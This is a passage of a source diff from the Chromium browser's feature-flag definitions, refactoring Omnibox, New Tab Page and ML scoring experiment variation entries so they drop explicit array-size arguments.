-     kLensAimSuggestionsTypeMultimodalWith5Suggestions,
-     std::size(kLensAimSuggestionsTypeMultimodalWith5Suggestions), nullptr},
+     kLensAimSuggestionsTypeMultimodalWith5Suggestions, nullptr},
     {"with Multimodal - 8 suggestions",
-     kLensAimSuggestionsTypeMultimodalWith8Suggestions,
-     std::size(kLensAimSuggestionsTypeMultimodalWith8Suggestions), nullptr},
+     kLensAimSuggestionsTypeMultimodalWith8Suggestions, nullptr},
 };
 
 const FeatureEntry::FeatureVariation kRemotePageMetadataVariations[] = {
-    {"High Performance Canonicalization", nullptr, 0, "3362133"},
+    {"High Performance Canonicalization", {}, "3362133"},
 };
 
 #if BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) || BUILDFLAG(IS_MAC) || \
@@ -1282,15 +1211,15 @@
 const FeatureEntry::FeatureVariation
     kOmniboxRichAutocompletionPromisingVariations[] = {
         {"Min input length 1 characters", kOmniboxRichAutocompletionAggressive1,
-         std::size(kOmniboxRichAutocompletionAggressive1), nullptr},
+         nullptr},
         {"Min input length 2 characters", kOmniboxRichAutocompletionAggressive2,
-         std::size(kOmniboxRichAutocompletionAggressive2), nullptr},
+         nullptr},
         {"Min input length 2 characters", kOmniboxRichAutocompletionAggressive2,
-         std::size(kOmniboxRichAutocompletionAggressive2), nullptr},
+         nullptr},
         {"Min input length 3 characters", kOmniboxRichAutocompletionAggressive3,
-         std::size(kOmniboxRichAutocompletionAggressive3), nullptr},
+         nullptr},
         {"Min input length 4 characters", kOmniboxRichAutocompletionAggressive4,
-         std::size(kOmniboxRichAutocompletionAggressive4), nullptr},
+         nullptr},
 };
 
 const FeatureEntry::FeatureParam kOmniboxStarterPackExpansionPreProdUrl[] = {
@@ -1299,10 +1228,8 @@
     {"StarterPackGeminiUrlOverride",
      "https://gemini.google.com/staging/prompt"}};
 const FeatureEntry::FeatureVariation kOmniboxStarterPackExpansionVariations[] =
-    {{"pre-prod url", kOmniboxStarterPackExpansionPreProdUrl,
-      std::size(kOmniboxStarterPackExpansionPreProdUrl), nullptr},
-     {"staging url", kOmniboxStarterPackExpansionStagingUrl,
-      std::size(kOmniboxStarterPackExpansionStagingUrl), nullptr}};
+    {{"pre-prod url", kOmniboxStarterPackExpansionPreProdUrl, nullptr},
+     {"staging url", kOmniboxStarterPackExpansionStagingUrl, nullptr}};
 
 const FeatureEntry::FeatureParam kOmniboxUrlSuggestionsOnFocusTwoDayWindow[] = {
     {"OnFocusMostVisitedRecencyWindow", "1"},
@@ -1322,13 +1249,13 @@
 const FeatureEntry::FeatureVariation kOmniboxUrlSuggestionsOnFocusVariations[] =
     {
         {"- Two day window", kOmniboxUrlSuggestionsOnFocusTwoDayWindow,
-         std::size(kOmniboxUrlSuggestionsOnFocusTwoDayWindow), nullptr},
+         nullptr},
         {"- Three day window", kOmniboxUrlSuggestionsOnFocusThreeDayWindow,
-         std::size(kOmniboxUrlSuggestionsOnFocusThreeDayWindow), nullptr},
+         nullptr},
         {"- One week window", kOmniboxUrlSuggestionsOnFocusOneWeekWindow,
-         std::size(kOmniboxUrlSuggestionsOnFocusOneWeekWindow), nullptr},
+         nullptr},
         {"- Two week window", kOmniboxUrlSuggestionsOnFocusTwoWeekWindow,
-         std::size(kOmniboxUrlSuggestionsOnFocusTwoWeekWindow), nullptr},
+         nullptr},
 };
 
 const FeatureEntry::FeatureParam kOmniboxZpsSuggestionLimitMax8[] = {
@@ -1368,24 +1295,19 @@
 };
 const FeatureEntry::FeatureVariation kOmniboxZpsSuggestionLimitVariations[] = {
     {"- Max 8 Suggestions (4 search, 4 url)", kOmniboxZpsSuggestionLimitMax8,
-     std::size(kOmniboxZpsSuggestionLimitMax8), nullptr},
+     nullptr},
     {"- Max 4 Suggestions (2 search, 2 url)", kOmniboxZpsSuggestionLimitMax4,
-     std::size(kOmniboxZpsSuggestionLimitMax4), nullptr},
+     nullptr},
     {"- Max 2 Suggestions (2 search, 0 url)",
-     kOmniboxZpsSuggestionLimitMax2TwoZero,
-     std::size(kOmniboxZpsSuggestionLimitMax2TwoZero), nullptr},
+     kOmniboxZpsSuggestionLimitMax2TwoZero, nullptr},
     {"- Max 3 Suggestions (3 search, 0 url)",
-     kOmniboxZpsSuggestionLimitMax3ThreeZero,
-     std::size(kOmniboxZpsSuggestionLimitMax3ThreeZero), nullptr},
+     kOmniboxZpsSuggestionLimitMax3ThreeZero, nullptr},
     {"- Max 4 Suggestions (4 search, 0 url)",
-     kOmniboxZpsSuggestionLimitMax4FourZero,
-     std::size(kOmniboxZpsSuggestionLimitMax4FourZero), nullptr},
+     kOmniboxZpsSuggestionLimitMax4FourZero, nullptr},
     {"- Max 5 Suggestions (4 search, 1 url)",
-     kOmniboxZpsSuggestionLimitMax5FourOne,
-     std::size(kOmniboxZpsSuggestionLimitMax5FourOne), nullptr},
+     kOmniboxZpsSuggestionLimitMax5FourOne, nullptr},
     {"- Max 5 Suggestions (3 search, 2 url)",
-     kOmniboxZpsSuggestionLimitMax5ThreeTwo,
-     std::size(kOmniboxZpsSuggestionLimitMax5ThreeTwo), nullptr},
+     kOmniboxZpsSuggestionLimitMax5ThreeTwo, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1411,15 +1333,15 @@
 const FeatureEntry::FeatureVariation
     kOmniboxContextualSearchOnFocusSuggestionsVariations[] = {
         {"- Limit 0", kOmniboxContextualSearchOnFocusSuggestionsLimit0,
-         std::size(kOmniboxContextualSearchOnFocusSuggestionsLimit0), nullptr},
+         nullptr},
         {"- Limit 1", kOmniboxContextualSearchOnFocusSuggestionsLimit1,
-         std::size(kOmniboxContextualSearchOnFocusSuggestionsLimit1), nullptr},
+         nullptr},
         {"- Limit 2", kOmniboxContextualSearchOnFocusSuggestionsLimit2,
-         std::size(kOmniboxContextualSearchOnFocusSuggestionsLimit2), nullptr},
+         nullptr},
         {"- Limit 3", kOmniboxContextualSearchOnFocusSuggestionsLimit3,
-         std::size(kOmniboxContextualSearchOnFocusSuggestionsLimit3), nullptr},
+         nullptr},
         {"- Limit 4", kOmniboxContextualSearchOnFocusSuggestionsLimit4,
-         std::size(kOmniboxContextualSearchOnFocusSuggestionsLimit4), nullptr},
+         nullptr},
 };
 
 const FeatureEntry::FeatureParam kOmniboxAimEntryPointHintLimitsDaily1[] = {
@@ -1441,11 +1363,11 @@
 
 const FeatureEntry::FeatureVariation kOmniboxAiModeEntryPointVariations[] = {
     {"Hint Limits Daily 1 Total 5", kOmniboxAimEntryPointHintLimitsDaily1,
-     std::size(kOmniboxAimEntryPointHintLimitsDaily1), nullptr},
+     nullptr},
     {"Hint Limits Daily 3 Total 10", kOmniboxAimEntryPointHintLimitsDaily3,
-     std::size(kOmniboxAimEntryPointHintLimitsDaily3), nullptr},
+     nullptr},
     {"Hint Limits Unlimited", kOmniboxAimEntryPointHintLimitsUnlimited,
-     std::size(kOmniboxAimEntryPointHintLimitsUnlimited), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1466,17 +1388,12 @@
 const FeatureEntry::FeatureVariation
     kContextualSuggestionsAblateOthersWhenPresentVariations[] = {
         {"- Ablate all", kContextualSuggestionsAblateOthersWhenPresentAblateAll,
-         std::size(kContextualSuggestionsAblateOthersWhenPresentAblateAll),
          nullptr},
         {"- Ablate search only",
          kContextualSuggestionsAblateOthersWhenPresentAblateSearchOnly,
-         std::size(
-             kContextualSuggestionsAblateOthersWhenPresentAblateSearchOnly),
          nullptr},
         {"- Ablate URL only",
-         kContextualSuggestionsAblateOthersWhenPresentAblateUrlOnly,
-         std::size(kContextualSuggestionsAblateOthersWhenPresentAblateUrlOnly),
-         nullptr},
+         kContextualSuggestionsAblateOthersWhenPresentAblateUrlOnly, nullptr},
 };
 
 const FeatureEntry::Choice kContextualSuggestionsUiImprovementsChoices[] = {
@@ -1594,27 +1511,21 @@
 };
 const FeatureEntry::FeatureVariation kOmniboxToolbeltVariations[] = {
     {"1 - Lens Action - Zero Inputs (Default)",
-     kOmniboxToolbeltLensActionsZeroInputs,
-     std::size(kOmniboxToolbeltLensActionsZeroInputs), nullptr},
+     kOmniboxToolbeltLensActionsZeroInputs, nullptr},
     {"2 - Lens Action - Zero + Typed Inputs",
-     kOmniboxToolbeltLensActionsZeroTypedInputs,
-     std::size(kOmniboxToolbeltLensActionsZeroTypedInputs), nullptr},
+     kOmniboxToolbeltLensActionsZeroTypedInputs, nullptr},
     {"3 - AI Action - Zero Inputs", kOmniboxToolbeltAiActionsZeroInputs,
-     std::size(kOmniboxToolbeltAiActionsZeroInputs), nullptr},
+     nullptr},
     {"4 - AI Action - Zero + Typed Inputs",
-     kOmniboxToolbeltAiActionsZeroTypedInputs,
-     std::size(kOmniboxToolbeltAiActionsZeroTypedInputs), nullptr},
+     kOmniboxToolbeltAiActionsZeroTypedInputs, nullptr},
     {"5 - Lens + AI Actions - Zero Inputs",
-     kOmniboxToolbeltLensAiActionsZeroInputs,
-     std::size(kOmniboxToolbeltLensAiActionsZeroInputs), nullptr},
+     kOmniboxToolbeltLensAiActionsZeroInputs, nullptr},
     {"6 - Lens + AI Actions - Zero + Typed Inputs",
-     kOmniboxToolbeltLensAiActionsZeroTypedInputs,
-     std::size(kOmniboxToolbeltLensAiActionsZeroTypedInputs), nullptr},
+     kOmniboxToolbeltLensAiActionsZeroTypedInputs, nullptr},
     {"7 - All Actions - Zero Inputs", kOmniboxToolbeltAllActionsZeroInputs,
-     std::size(kOmniboxToolbeltAllActionsZeroInputs), nullptr},
+     nullptr},
     {"8 - All Actions - Zero + Typed Inputs",
-     kOmniboxToolbeltAllActionsZeroTypedInputs,
-     std::size(kOmniboxToolbeltAllActionsZeroTypedInputs), nullptr},
+     kOmniboxToolbeltAllActionsZeroTypedInputs, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1681,27 +1592,20 @@
 
 const FeatureEntry::FeatureVariation kNtpComposeboxVariations[] = {
     {"- Show Contextual Input Menu and Suggest, 5 File Limit",
-     kComposeboxShowContextMenuAndSuggestMultiFile,
-     std::size(kComposeboxShowContextMenuAndSuggestMultiFile), nullptr},
+     kComposeboxShowContextMenuAndSuggestMultiFile, nullptr},
     {"- Show Contextual Input Menu and Suggest, 5 File Limit, no viewport "
      "uploading",
-     kComposeboxShowContextMenuAndSuggestMultiFileNoViewport,
-     std::size(kComposeboxShowContextMenuAndSuggestMultiFileNoViewport),
-     nullptr},
+     kComposeboxShowContextMenuAndSuggestMultiFileNoViewport, nullptr},
     {"- Show Contextual Input Menu and Suggest, Tab Previews, 5 File Limit",
-     kComposeboxShowContextMenuAndSuggestMultiFileAndTabPreviews,
-     std::size(kComposeboxShowContextMenuAndSuggestMultiFileAndTabPreviews),
-     nullptr},
-    {"- Next Experience", kComposeboxNext, std::size(kComposeboxNext), nullptr},
-    {"- Next Experience Single Context", kComposeboxNextSingleContext,
-     std::size(kComposeboxNextSingleContext), nullptr},
+     kComposeboxShowContextMenuAndSuggestMultiFileAndTabPreviews, nullptr},
+    {"- Next Experience", kComposeboxNext, nullptr},
+    {"- Next Experience Single Context", kComposeboxNextSingleContext, nullptr},
     {"- Next Experience for Realbox Next", kComposeboxNextForRealboxNext,
-     std::size(kComposeboxNextForRealboxNext), nullptr},
+     nullptr},
     {"- Next Experience Single Context for Realbox Next",
-     kComposeboxNextSingleContextForRealboxNext,
-     std::size(kComposeboxNextSingleContextForRealboxNext), nullptr},
+     kComposeboxNextSingleContextForRealboxNext, nullptr},
     {"- Next Experience with Model Picker", kComposeboxNextWithModelPicker,
-     std::size(kComposeboxNextWithModelPicker), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam kShowNextRealboxTallTopContext[] = {
@@ -1723,16 +1627,12 @@
 
 const FeatureEntry::FeatureVariation kNtpRealboxNextVariations[] = {
     {"- Show Next Realbox with Top Context Button (TallTopContext)",
-     kShowNextRealboxTallTopContext, std::size(kShowNextRealboxTallTopContext),
-     nullptr},
-    {"- Show Next Realbox (Compact)", kShowNextRealboxCompact,
-     std::size(kShowNextRealboxCompact), nullptr},
+     kShowNextRealboxTallTopContext, nullptr},
+    {"- Show Next Realbox (Compact)", kShowNextRealboxCompact, nullptr},
     {"- Show Next Realbox: Top Context, Cycling placeholders",
-     kShowNextRealboxTallTopContextCyclingPlaceholders,
-     std::size(kShowNextRealboxTallTopContextCyclingPlaceholders), nullptr},
+     kShowNextRealboxTallTopContextCyclingPlaceholders, nullptr},
     {"- Show Next Realbox: Compact, Cycling placeholders",
-     kShowNextRealboxCompactCyclingPlaceholders,
-     std::size(kShowNextRealboxCompactCyclingPlaceholders), nullptr},
+     kShowNextRealboxCompactCyclingPlaceholders, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpNextShowStaticText[] = {
@@ -1789,34 +1689,24 @@
 };
 
 const FeatureEntry::FeatureVariation kNtpNextVariations[] = {
-    {"- Show Static Text", kNtpNextShowStaticText,
-     std::size(kNtpNextShowStaticText), nullptr},
-    {"- Show Deep Dive Suggestions", kNtpNextShowDeepDiveSuggestions,
-     std::size(kNtpNextShowDeepDiveSuggestions), nullptr},
-    {"- Show Row UI", kNtpNextShowSimplificationUI,
-     std::size(kNtpNextShowSimplificationUI), nullptr},
+    {"- Show Static Text", kNtpNextShowStaticText, nullptr},
+    {"- Show Deep Dive Suggestions", kNtpNextShowDeepDiveSuggestions, nullptr},
+    {"- Show Row UI", kNtpNextShowSimplificationUI, nullptr},
     {"- Show Row UI With Deep Dive", kNtpNextShowSimplificationUIWithDeepDive,
-     std::size(kNtpNextShowSimplificationUIWithDeepDive), nullptr},
+     nullptr},
     {"- Show Chips UI with a New Suggestions Client",
-     kNtpNextShowChipsUIWithChromeNtpActionClient,
-     std::size(kNtpNextShowChipsUIWithChromeNtpActionClient), nullptr},
+     kNtpNextShowChipsUIWithChromeNtpActionClient, nullptr},
     {"- Show Row UI with a New Suggestions Client",
-     kNtpNextShowSimplificationUIWithChromeNtpActionClient,
-     std::size(kNtpNextShowSimplificationUIWithChromeNtpActionClient), nullptr},
+     kNtpNextShowSimplificationUIWithChromeNtpActionClient, nullptr},
     {"- Show Chips UI with a New Client and No Recent Tab Chip in the Steady "
      "State",
      kNtpNextShowChipsUIWithNtpActionClientWithNoRecentTabInSteadyState,
-     std::size(
-         kNtpNextShowChipsUIWithNtpActionClientWithNoRecentTabInSteadyState),
      nullptr},
     {"- Show Row UI with a New Client and  No Recent Tab Chip in the Steady "
      "State",
      kNtpNextShowSimplificationUIWithNtpActionClientWithNoRecentTabInSteadyState,
-     std::size(
-         kNtpNextShowSimplificationUIWithNtpActionClientWithNoRecentTabInSteadyState),
      nullptr},
-    {"- Show Dismissal UI", kNtpNextShowSimplificationUIWithDismissal,
-     std::size(kNtpNextShowSimplificationUIWithDismissal), nullptr},
+    {"- Show Dismissal UI", kNtpNextShowSimplificationUIWithDismissal, nullptr},
 };
 
 const FeatureEntry::FeatureParam kNtpFeatureOptimizationModuleRemovalDefault[] =
@@ -1834,11 +1724,9 @@
 const FeatureEntry::FeatureVariation
     kNtpFeatureOptimizationModuleRemovalVariations[] = {
         {"- Default Auto-Removal Timing",
-         kNtpFeatureOptimizationModuleRemovalDefault,
-         std::size(kNtpFeatureOptimizationModuleRemovalDefault), nullptr},
+         kNtpFeatureOptimizationModuleRemovalDefault, nullptr},
         {"- Auto-Removal Timing for Testing",
-         kNtpFeatureOptimizationModuleRemovalTesting,
-         std::size(kNtpFeatureOptimizationModuleRemovalTesting), nullptr},
+         kNtpFeatureOptimizationModuleRemovalTesting, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1856,11 +1744,9 @@
 const FeatureEntry::FeatureVariation
     kNtpFeatureOptimizationShortcutsRemovalVariations[] = {
         {"- Default Auto-Removal Timing",
-         kNtpFeatureOptimizationShortcutsRemovalDefault,
-         std::size(kNtpFeatureOptimizationShortcutsRemovalDefault), nullptr},
+         kNtpFeatureOptimizationShortcutsRemovalDefault, nullptr},
         {"- Auto-Removal Timing for Testing",
-         kNtpFeatureOptimizationShortcutsRemovalTesting,
-         std::size(kNtpFeatureOptimizationShortcutsRemovalTesting), nullptr},
+         kNtpFeatureOptimizationShortcutsRemovalTesting, nullptr},
 };
 
 #endif  // BUILDFLAG(IS_LINUX) || BUILDFLAG(IS_CHROMEOS) || BUILDFLAG(IS_MAC) ||
@@ -1901,22 +1787,17 @@
 };
 
 const FeatureEntry::FeatureVariation kOmniboxMlUrlScoringVariations[] = {
-    {"Enabled with fixes", kOmniboxMlUrlScoringEnabledWithFixes,
-     std::size(kOmniboxMlUrlScoringEnabledWithFixes), nullptr},
+    {"Enabled with fixes", kOmniboxMlUrlScoringEnabledWithFixes, nullptr},
     {"unlimited suggestion candidates",
-     kOmniboxMlUrlScoringUnlimitedNumCandidates,
-     std::size(kOmniboxMlUrlScoringUnlimitedNumCandidates), nullptr},
+     kOmniboxMlUrlScoringUnlimitedNumCandidates, nullptr},
     {"Increase provider max limit to 10",
-     kOmniboxMlUrlScoringMaxMatchesByProvider10,
-     std::size(kOmniboxMlUrlScoringMaxMatchesByProvider10), nullptr},
+     kOmniboxMlUrlScoringMaxMatchesByProvider10, nullptr},
     {"with scoring of Search suggestions", kOmniboxMlUrlScoringWithSearches,
-     std::size(kOmniboxMlUrlScoringWithSearches), nullptr},
+     nullptr},
     {"with scoring of verbatim URL suggestions",
-     kOmniboxMlUrlScoringWithVerbatimURLs,
-     std::size(kOmniboxMlUrlScoringWithVerbatimURLs), nullptr},
+     kOmniboxMlUrlScoringWithVerbatimURLs, nullptr},
     {"with scoring of Search & verbatim URL suggestions",
-     kOmniboxMlUrlScoringWithSearchesAndVerbatimURLs,
-     std::size(kOmniboxMlUrlScoringWithSearchesAndVerbatimURLs), nullptr},
+     kOmniboxMlUrlScoringWithSearchesAndVerbatimURLs, nullptr},
 };
 
 const FeatureEntry::FeatureParam
@@ -1958,15 +1839,15 @@
 const FeatureEntry::FeatureVariation
     kMlUrlPiecewiseMappedSearchBlendingVariations[] = {
         {"adjusted by 0", kMlUrlPiecewiseMappedSearchBlendingAdjustedBy0,
-         std::size(kMlUrlPiecewiseMappedSearchBlendingAdjustedBy0), nullptr},
+         nullptr},
         {"demoted by 50", kMlUrlPiecewiseMappedSearchBlendingDemotedBy50,
-         std::size(kMlUrlPiecewiseMappedSearchBlendingDemotedBy50), nullptr},
+         nullptr},
         {"promoted by 50", kMlUrlPiecewiseMappedSearchBlendingPromotedBy50,
-         std::size(kMlUrlPiecewiseMappedSearchBlendingPromotedBy50), nullptr},
+         nullptr},
         {"promoted by 100", kMlUrlPiecewiseMappedSearchBlendingPromotedBy100,
-         std::size(kMlUrlPiecewiseMappedSearchBlendingPromotedBy100), nullptr},
+         nullptr},
         {"mobile mapping", kMlUrlPiecewiseMappedSearchBlendingMobileMapping,
-         std::size(kMlUrlPiecewiseMappedSearchBlendingMobileMapping), nullptr},
+         nullptr},
 };
 
 const FeatureEntry::FeatureParam kMlUrlSearchBlendingStable[] = {
@@ -1994,14 +1875,12 @@
 };
 
 const FeatureEntry::FeatureVariation kMlUrlSearchBlendingVariations[] = {
-    {"Stable", kMlUrlSearchBlendingStable,
-     std::size(kMlUrlSearchBlendingStable), nullptr},
+    {"Stable", kMlUrlSearchBlendingStable, nullptr},
     {"Mapped conservative urls", kMlUrlSearchBlendingMappedConservativeUrls,
-     std::size(kMlUrlSearchBlendingMappedConservativeUrls), nullptr},
-    {"Mapped moderate urls", kMlUrlSearchBlendingMappedModerateUrls,
-     std::size(kMlUrlSearchBlendingMappedModerateUrls), nullptr},
+     nullptr},
+    {"Mapped moderate urls", kMlUrlSearchBlendingMappedModerateUrls, nullptr},
     {"Mapped aggressive urls", kMlUrlSearchBlendingMappedAggressiveUrls,
-     std::size(kMlUrlSearchBlendingMappedAggressiveUrls), nullptr},
+     nullptr},
 };
 
 const FeatureEntry::FeatureParam kMostVitedTilesNewScoring_DecayStaircaseCap10[] = {
@@ -2027,19 +1906,17 @@
 constexpr FeatureEntry::FeatureVariation
     kMostVisitedTilesNewScoringVariations[] = {
         {"Decay Staircase, Cap 10",
-         kMostVitedTilesNewScoring_DecayStaircaseCap10,
-         std::size(kMostVitedTilesNewScoring_DecayStaircaseCap10), nullptr},
-        {"Decay, Cap 1", kMostVitedTilesNewScoring_DecayCap1,
-         std::size(kMostVitedTilesNewScoring_DecayCap1), nullptr},
+         kMostVitedTilesNewScoring_DecayStaircaseCap10, nullptr},
+        {"Decay, Cap 1", kMostVitedTilesNewScoring_DecayCap1, nullptr},
 };
 
 const FeatureEntry::FeatureVariation kUrlScoringModelVariations[] = {
-    {"Small model (desktop)", nullptr, 0, nullptr},
-    {"Full model (desktop)", nullptr, 0, "3380045"},
-    {"Small model (ios)", nullptr, 0, "3379590"},
-    {"Full model (ios)", nullptr, 0, "3380197"},
-    {"Small model (android)", nullptr, 0, "3381543"},
-    {"Full model (android)", nullptr, 0, "3381544"},
+    {"Small model (desktop)", {}, nullptr},
+    {"Full model (desktop)", {}, "3380045"},
+    {"Small model (ios)", {}, "3379590"},
+    {"Full model (ios)", {}, "3380197"},
+    {"Small model (android)", {}, "3381543"},
+    {"Full model (android)", {}, "3381544"},
 };
 
 const FeatureEntry::FeatureParam
@@ -2076,30 +1953,17 @@
 const FeatureEntry::FeatureVariation
     kOmniboxZeroSuggestPrefetchDebouncingVariations[] = {
         {"Minimal debouncing relative to last run",
-         kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRun,
-         std::size(kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRun),
-         nullptr},
+         kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRun, nullptr},
         {"Minimal debouncing relative to last request",
-         kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRequest,
-         std::size(kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRequest),
-         nullptr},
+         kOmniboxZeroSuggestPrefetchDebouncingMinimalFromLastRequest, nullptr},
         {"Moderate debouncing relative to last run",
-         kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRun,
-         std::size(kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRun),
-         nullptr},
+         kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRun, nullptr},
         {"Moderate debouncing relative to last request",
-         kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRequest,
-         std::size(
-             kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRequest),
-         nullptr},
+         kOmniboxZeroSuggestPrefetchDebouncingModerateFromLastRequest, nullptr},
         {"Aggressive debouncing relative to last run",
-         kOmniboxZeroSuggestPrefetchDebouncingAggressiveFromLastRun,
-         std::size(kOmniboxZeroSuggestPrefetchDebouncingAggressiveFromLastRun),
-         nullptr},
+         kOmniboxZeroSuggestPrefetchDebouncingAggressiveFromLastRun, nullptr},
         {"Aggressive debouncing relative to last request",
          kOmniboxZeroSuggestPrefetchDebouncingAggressiveFromLastRequest,
-         std::size(
-             kOmniboxZeroSuggestPrefetchDebouncingAggressiveFromLastRequest),
          nullptr},
 };
 
@@ -2109,8 +1973,7 @@
     {OmniboxFieldTrial::kAndroidDiagInputConnection.name, "true"}};
 
 constexpr FeatureEntry::FeatureVariation kOmniboxDiagnosticsAndroidVaiants[] = {
-    {"- InputConnection", kOmniboxDiagInputConnection,
-     std::size(kOmniboxDiagInputConnection), nullptr}};
+    {"- InputConnection", kOmniboxDiagInputConnection, nullptr}};
 
 #if !IS_OFFICIAL_BUILD
 const FeatureEntry::FeatureParam
@@ -2119,8 +1982,7 @@
 
 const FeatureEntry::FeatureVariation
     kOmniboxRemoveSearchReadyOmniboxVariations[] = {
-        {"No Match", kOmniboxRemoveSearchReadyOmniboxNoMatchParam,
-         std::size(kOmniboxRemoveSearchReadyOmniboxNoMatchParam), nullptr}};
+        {"No Match", kOmniboxRemoveSearchReadyOmniboxNoMatchParam, nullptr}};
 #endif
 
 const FeatureEntry::FeatureParam kOmniboxAimDedicatedModeButton[] = {
@@ -2147,30 +2009,23 @@
     {"show_model_picker", "true"}};
 
 const FeatureEntry::FeatureVariation kOmniboxMultimodalInputVariants[] = {
-    {"Dedicated Button", kOmniboxAimDedicatedModeButton,
-     std::size(kOmniboxAimDedicatedModeButton), "3395755"},
-    {"Button with Hint", kOmniboxAimDedicatedModeButtonWithHint,
-     std::size(kOmniboxAimDedicatedModeButtonWithHint), "3395755"},
-    {"Compact", kOmniboxAimCompactFusebox, std::size(kOmniboxAimCompactFusebox),
-     "3395755"},
-    {"MC (Multi context)", kOmniboxAimMultiContext,
-     std::size(kOmniboxAimMultiContext), "3395755"},
+    {"Dedicated Button", kOmniboxAimDedicatedModeButton, "3395755"},
+    {"Button with Hint", kOmniboxAimDedicatedModeButtonWithHint, "3395755"},
+    {"Compact", kOmniboxAimCompactFusebox, "3395755"},
+    {"MC (Multi context)", kOmniboxAimMultiContext, "3395755"},
     {"MC Dedicated Button", kOmniboxAimMultiContextDedicatedModeButton,
-     std::size(kOmniboxAimMultiContextDedicatedModeButton), "3395755"},
+     "3395755"},
     {"MC Button with Hint", kOmniboxAimMultiContextDedicatedModeButtonWithHint,
-     std::size(kOmniboxAimMultiContextDedicatedModeButtonWithHint), "3395755"},
-    {"MC Compact", kOmniboxAimMultiContextCompactFusebox,
-     std::size(kOmniboxAimMultiContextCompactFusebox), "3395755"},
-    {"Model Picker & Canvas", kOmniboxAimModelPickerAndCanvas,
-     std::size(kOmniboxAimModelPickerAndCanvas), "3395755"},
+     "3395755"},
+    {"MC Compact", kOmniboxAimMultiContextCompactFusebox, "3395755"},
+    {"Model Picker & Canvas", kOmniboxAimModelPickerAndCanvas, "3395755"},
 };
 
 const FeatureEntry::FeatureParam kOmniboxMultilineEditFieldForAutocomplete[] = {
     {"wrap_autocomplete_text", "true"}};
 
 const FeatureEntry::FeatureVariation kOmniboxMultilineEditFieldVariants[] = {
-    {"For Autocomplete", kOmniboxMultilineEditFieldForAutocomplete,
-     std::size(kOmniboxMultilineEditFieldForAutocomplete), nullptr}};
+    {"For Autocomplete", kOmniboxMultilineEditFieldForAutocomplete, nullptr}};
 
 const FeatureEntry::FeatureParam kOmniboxImprovementForLFFVariationsAll[] = {
     {OmniboxFieldTrial::kOmniboxImprovementForLFFSwitchToTabChip.name, "true"},
@@ -2196,18 +2051,13 @@
          "true"}};
 
 const FeatureEntry::FeatureVariation kOmniboxImprovementForLFFVariations[] = {
-    {"All", kOmniboxImprovementForLFFVariationsAll,
-     std::size(kOmniboxImprovementForLFFVariationsAll), nullptr},
+    {"All", kOmniboxImprovementForLFFVariationsAll, nullptr},
     {"Switch to Tab Chip", kOmniboxImprovementForLFFVariationsSwitchToTabChip,
-     std::size(kOmniboxImprovementForLFFVariationsSwitchToTabChip), nullptr},
-    {"Remove Suggestion",
-     kOmniboxImprovementForLFFVariationsRemoveSuggestionViaButton,
-     std::size(kOmniboxImprovementForLFFVariationsRemoveSuggestionViaButton),
      nullptr},
+    {"Remove Suggestion",
+     kOmniboxImprovementForLFFVariationsRemoveSuggestionViaButton, nullptr},
     {"Persist Editing State",
-     kOmniboxImprovementForLFFVariationsPersistEditingState,
-     std::size(kOmniboxImprovementForLFFVariationsPersistEditingState),
-     nullptr}};
+     kOmniboxImprovementForLFFVariationsPersistEditingState, nullptr}};
 
 #endif  // BUILDFLAG(IS_ANDROID)
 
@@ -2235,23 +2085,17 @@
     {"MaxZeroSuggestMatches", "15"}};
 
 const FeatureEntry::FeatureVariation kMaxZeroSuggestMatchesVariations[] = {
-    {"5", kMaxZeroSuggestMatches5, std::size(kMaxZeroSuggestMatches5), nullptr},
-    {"6", kMaxZeroSuggestMatches6, std::size(kMaxZeroSuggestMatches6), nullptr},
-    {"7", kMaxZeroSuggestMatches7, std::size(kMaxZeroSuggestMatches7), nullptr},
-    {"8", kMaxZeroSuggestMatches8, std::size(kMaxZeroSuggestMatches8), nullptr},
-    {"9", kMaxZeroSuggestMatches9, std::size(kMaxZeroSuggestMatches9), nullptr},
-    {"10", kMaxZeroSuggestMatches10, std::size(kMaxZeroSuggestMatches10),
-     nullptr},
-    {"11", kMaxZeroSuggestMatches11, std::size(kMaxZeroSuggestMatches11),
-     nullptr},
-    {"12", kMaxZeroSuggestMatches12, std::size(kMaxZeroSuggestMatches12),
-     nullptr},
-    {"13", kMaxZeroSuggestMatches13, std::size(kMaxZeroSuggestMatches13),
-     nullptr},
-    {"14", kMaxZeroSuggestMatches14, std::size(kMaxZeroSuggestMatches14),
-     nullptr},
-    {"15", kMaxZeroSuggestMatches15, std::size(kMaxZeroSuggestMatches15),
-     nullptr}};
+    {"5", kMaxZeroSuggestMatches5, nullptr},
+    {"6", kMaxZeroSuggestMatches6, nullptr},
+    {"7", kMaxZeroSuggestMatches7, nullptr},
+    {"8", kMaxZeroSuggestMatches8, nullptr},
+    {"9", kMaxZeroSuggestMatches9, nullptr},
+    {"10", kMaxZeroSuggestMatches10, nullptr},
+    {"11", kMaxZeroSuggestMatches11, nullptr},
+    {"12", kMaxZeroSuggestMatches12, nullptr},
+    {"13", kMaxZeroSuggestMatches13, nullptr},
+    {"14", kMaxZeroSuggestMatches14, nullptr},
+    {"15", kMaxZeroSuggestMatches15, nullptr}};
 
 const FeatureEntry::FeatureParam kOmniboxUIMaxAutocompleteMatches3[] = {
     {OmniboxFieldTrial::kUIMaxAutocompleteMatchesParam, "3"}};
@@ -2274,31 +2118,22 @@
 
 const FeatureEntry::FeatureVariation
     kOmniboxUIMaxAutocompleteMatchesVariations[] = {
-        {"3 matches", kOmniboxUIMaxAutocompleteMatches3,
-         std::size(kOmniboxUIMaxAutocompleteMatches3), nullptr},
-        {"4 matches", kOmniboxUIMaxAutocompleteMatches4,
